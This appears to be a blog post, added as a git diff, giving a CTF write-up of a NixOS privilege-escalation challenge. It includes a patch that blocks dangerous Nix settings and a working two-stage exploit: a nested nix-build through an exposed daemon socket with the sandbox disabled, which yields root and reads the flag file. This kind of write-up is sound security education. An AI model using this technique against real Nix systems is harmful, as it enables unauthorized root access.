diff --git a/content/posts/reproducible-pwning-writeup.md b/content/posts/reproducible-pwning-writeup.md new file mode 100644 index 0000000..12a402c --- /dev/null +++ b/content/posts/reproducible-pwning-writeup.md @@ -0,0 +1,295 @@ ++++ +date = "2024-03-16" +draft = false +path = "/blog/reproducible-pwning-writeup" +tags = ["ctf", "nix"] +title = "KalmarCTF: Reproducible Pwning writeup" ++++ + +I was making memes in the CTF room until someone told me Nix showed up +on a CTF, and well. It doesn't take that much to tempt me. + +Reproducible Pwning is a challenge written by +[niko](https://hachyderm.io/@nrab), which involves a NixOS VM you're supposed +to root. The build user is not notably privileged. + +There is a flag in `/data` which is mounted from the host via some means. That +directory is only readable by root. + +There is a patch to the Nix evaluator. Interesting: + +```patch +diff --git a/src/libutil/config.cc b/src/libutil/config.cc +index 37f5b50c7..fd824ee03 100644 +--- a/src/libutil/config.cc ++++ b/src/libutil/config.cc +@@ -1,3 +1,4 @@ ++#include "logging.hh" + #include "config.hh" + #include "args.hh" + #include "abstract-setting-to-json.hh" +@@ -17,6 +18,16 @@ Config::Config(StringMap initials) + + bool Config::set(const std::string & name, const std::string & value) + { ++ if (name.find("build-hook") != std::string::npos ++ || name == "accept-flake-config" ++ || name == "allow-new-privileges" ++ || name == "impure-env") { ++ logWarning({ ++ .msg = hintfmt("Option '%1%' is too dangerous, skipping.", name) ++ }); ++ return true; ++ } ++ + bool append = false; + auto i = _settings.find(name); + if (i == _settings.end()) { +``` + +The machine is configured with the following NixOS module, which I pulled out +of the included flake. The rest of the flake is normal stuff. There are a few +things that stand out to me: + +- sudo is disabled, polkit is disabled: we are probably not looking for some + setuid exploit +- There are some *extremely* nonstandard Nix config settings being applied + +```nix +({pkgs, ...}: { + nixpkgs.hostPlatform = "x86_64-linux"; + nixpkgs.overlays = [ + (final: prev: { + # JADE: likely vulnerable to puck's CVE, but I doubt that is the bug cuz they + # added a patch and there is other funny business up. + nix = final.nixVersions.nix_2_13.overrideAttrs { + patches = [./nix.patch]; + # JADE: due to broken integration tests, almost certainly + doInstallCheck = false; + }; + }) + ]; + + # JADE: no interesting setuid binaries + security = { + sudo.enable = false; + polkit.enable = false; + }; + + systemd.services.nix-daemon.serviceConfig.EnvironmentFile = let + # JADE: here is the wacky part of the config. + # This exposes the Nix daemon socket inside the sandbox (this is mostly + # never the case unless using recursive-nix). So we are going to + # be running a nix build inside a nix build to do something. + sandbox = pkgs.writeText "nix-daemon-config" '' + extra-sandbox-paths = /tmp/daemon=/nix/var/nix/daemon-socket/socket + ''; + # JADE: I don't know what this does, so we are going to be reading some C++Nix + # source code. But it sure smells like running the build as root. + buildug = pkgs.writeText "nix-daemon-config" '' + build-users-group = + ''; + in + # JADE: Sets additional config files to only the nix daemon. This is + # documented in the Nix manual. + pkgs.writeText "env" '' + NIX_USER_CONF_FILES=${sandbox}:${buildug} + ''; +}) +``` + +Here is the rest of the module which is uninteresting: + +{% codesample(desc="`boring-module.nix`") %} +```nix +{ ... }: { + # JADE: what the heck is this? It seems like some kind of kernel-problems + # storage thing. Later found out this is nothing. + environment.etc."systemd/pstore.conf".text = '' + [PStore] + Unlink=no + ''; + + users.users.root.initialHashedPassword = "x"; + users.users.user = { + isNormalUser = true; + initialHashedPassword = ""; + group = "user"; + }; + users.groups.user = {}; + + system.stateVersion = "22.04"; + + services.openssh = { + enable = true; + settings.PermitRootLogin = "no"; + }; + + # JADE: save some image size + environment.noXlibs = true; + documentation.man.enable = false; + documentation.doc.enable = false; + fonts.fontconfig.enable = false; + + nix.settings = { + # JADE: this option has no interesting security impact, just whether you + # can build during evaluation phase. + allow-import-from-derivation = false; + experimental-features = ["flakes" "nix-command" "repl-flake" "no-url-literals"]; + }; +} +``` +{% end %} + +So, to sum up: +- We have a Nix daemon socket in the sandbox. +- We are running builds with some weird group. +- Several config settings that make trusted users effectively root are + blocked by the patch. Interesting. We probably become a trusted user then. + +So like, let's run some build. + +```nix +let + nixpkgs = builtins.fetchTarball { + url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz"; + "sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h"; + }; + pkgs = import nixpkgs {}; +in +pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } '' + id -a +'' +``` + +This gives me: + +``` +this derivation will be built: + /nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv +building '/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv'... +uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld) +``` + +Hm. Boring, I was expecting to be root already. + +But, why is there a socket in there? Let's try invoking another build inside +our build, maybe? And, based on the assumption we must be trusted user (since I +can't think of any other reason interaction with the bind-mounted socket would +be different from inside the sandbox), let's try just turning off the sandbox +in the inner build and see what happens? + +```nix +let + nixpkgs = builtins.fetchTarball { + url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz"; + "sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h"; + }; + pkgs = import nixpkgs {}; + # dont worry about the contents quite yet + hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix); +in +pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } '' + id -a + nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax} +'' +``` + +and `stage2.nix`: + +```nix +let + pkgs = import (builtins.getEnv "PKGS") { }; +in +pkgs.runCommand "meow2" { } '' + echo MEOW2 + id -a +'' +``` + +This outputs: + +``` +this derivation will be built: + /nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv +building '/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv'... +uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld) +this derivation will be built: + /nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv +building '/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv'... +MEOW2 +uid=0(root) gid=0(root) groups=0(root) +``` + +Welp, I am root. Change stage 2 to `cat /data/*` and we have a flag: + +``` +[user@nixos:~]$ cat >stage1.nix <<-'EOF' +> let + nixpkgs = builtins.fetchTarball { + url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz"; + "sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h"; + }; + pkgs = import nixpkgs {}; + hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix); +in +pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } '' + id -a + nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax} +'' +> EOF + +[user@nixos:~]$ cat >stage2.nix <<-'EOF' +> let + pkgs = import (builtins.getEnv "PKGS") { }; +in +pkgs.runCommand "meow2" { } '' + echo MEOW2 + id -a + ls / || true + ls /data || true + cat /data/* +'' +> EOF + +[user@nixos:~]$ nix-build stage1.nix +warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring +these 2 derivations will be built: + /nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv + /nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv +these 11 paths will be fetched (3.92 MiB download, 23.41 MiB unpacked): + +building '/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv'... +warning: Option 'accept-flake-config' is too dangerous, skipping. +warning: Option 'allow-new-privileges' is too dangerous, skipping. +warning: Option 'build-hook' is too dangerous, skipping. +warning: Option 'post-build-hook' is too dangerous, skipping. +warning: Option 'pre-build-hook' is too dangerous, skipping. +building '/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv'... +uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld) +this derivation will be built: + /nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv +warning: Option 'accept-flake-config' is too dangerous, skipping. +warning: Option 'allow-new-privileges' is too dangerous, skipping. +warning: Option 'build-hook' is too dangerous, skipping. +warning: Option 'post-build-hook' is too dangerous, skipping. +warning: Option 'pre-build-hook' is too dangerous, skipping. +building '/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv'... +MEOW2 +uid=0(root) gid=0(root) groups=0(root) +bin dev home lib64 proc run sys usr +data etc lib nix root srv tmp var +flag +kalmar{0nlyReproduc1bleMisconfigurationsH3R3} +``` + +I was informed later that I found an unintended solution, and one was not +supposed to "simply set `sandbox = false`". The intended solution was to either +use the `diff-hook` setting which is run as the daemon's user (like +`post-build-hook` and `build-hook` which were conspicuously also banned), or +abuse being root to tamper with the inputs to the derivation and overwriting +something run by a privileged user. + +I don't think the unintended solution was that bad, though, because once you +are trusted user, it is assumed in the Nix codebase that you can just root the +box.